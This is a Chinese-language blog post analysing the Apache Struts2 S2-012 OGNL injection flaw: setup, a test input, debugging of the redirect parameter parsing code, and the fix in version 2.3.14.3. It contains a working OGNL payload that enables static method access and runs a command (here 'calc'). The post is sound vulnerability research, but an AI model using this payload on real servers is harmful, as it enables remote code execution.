前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-011 是个 DOS,跳过跳过。
环境搭建
2.3.4.1 版本的 struts2 + Tomcat 9,在 struts.xml 中加入一个带参数的跳转:
<result name="success" type="redirect">login!update.action?skillName=${url}</result>
也可以这样:
<result name="success" type="redirectAction">
<param name="actionName">login!update.action</param>
<param name="url">${url}</param>
</result>
然后尝试提交 url 值为 %{9*9},如果看到重定向至 login!update.action?url=81,说明漏洞利用成功。
漏洞利用
阅读漏洞通告,推测漏洞原理与 S2-001 类似,都是递归解析导致的,payload 如下:
url=%25{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(@java.lang.Runtime@getRuntime().exec("calc"))}
漏洞分析
寻找搜索跟 redirect 相关的类,找到 ServletRedirectResult 类,可以看到它的 doExecute 方法看起来比较可疑:
ResultConfig resultConfig = invocation.getProxy().getConfig().getResults().get(invocation.getResultCode());
if (resultConfig != null) {
Map<String, String> resultConfigParams = resultConfig.getParams();
for (Map.Entry<String, String> e : resultConfigParams.entrySet()) {
if (!getProhibitedResultParams().contains(e.getKey())) {
String potentialValue = e.getValue() == null ? "" : conditionalParse(e.getValue(), invocation);
if (!suppressEmptyParameters || ((potentialValue != null) && (potentialValue.length() > 0))) {
requestParameters.put(e.getKey(), potentialValue);
}
}
}
}
给他的 doExecute 方法下断点,开始调试,可以看到将 ${url} 作为参数调用了 conditionalParse,然后一步步来到 TextParseUtil 类的 translateVariables 函数:
for (char open : openChars) {
...
while (true) {
...
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
...
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (StringUtils.isEmpty(left)) {
result = o;
} else {
result = left.concat(middle);
}
if (StringUtils.isNotEmpty(right)) {
result = result.toString().concat(right);
}
expression = left.concat(middle).concat(right);
}
...
}
...
}
}
可以看到当时 S2-001 的修复,就是加上了递归深度限制,本来应该是无法再递归解析了,但是前面多了一个 for 循环,用来遍历两个表达式起始字符,$ 和 %,所以在第一次 ${url} 执行完毕后,如果 url 的值是一个 % 开始的表达式,会再次解析执行。
漏洞修复
2.3.14.3 版本的修复,逻辑移到了 OgnlTextParser 类的 evaluate 函数中,函数内容基本相同,只是 for 遍历的开头少了一句:
int pos = 0;
而 pos 的计算方式为:
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
middle 就是 url 的值,所以递归的情况下,pos 会是 url 的长度,也就是说:
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
loopCount++;
start = expression.indexOf(lookupChars);
}
indexof 搜索就会失败,loopCount + 1 导致递归深度验证失败。
Orz
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!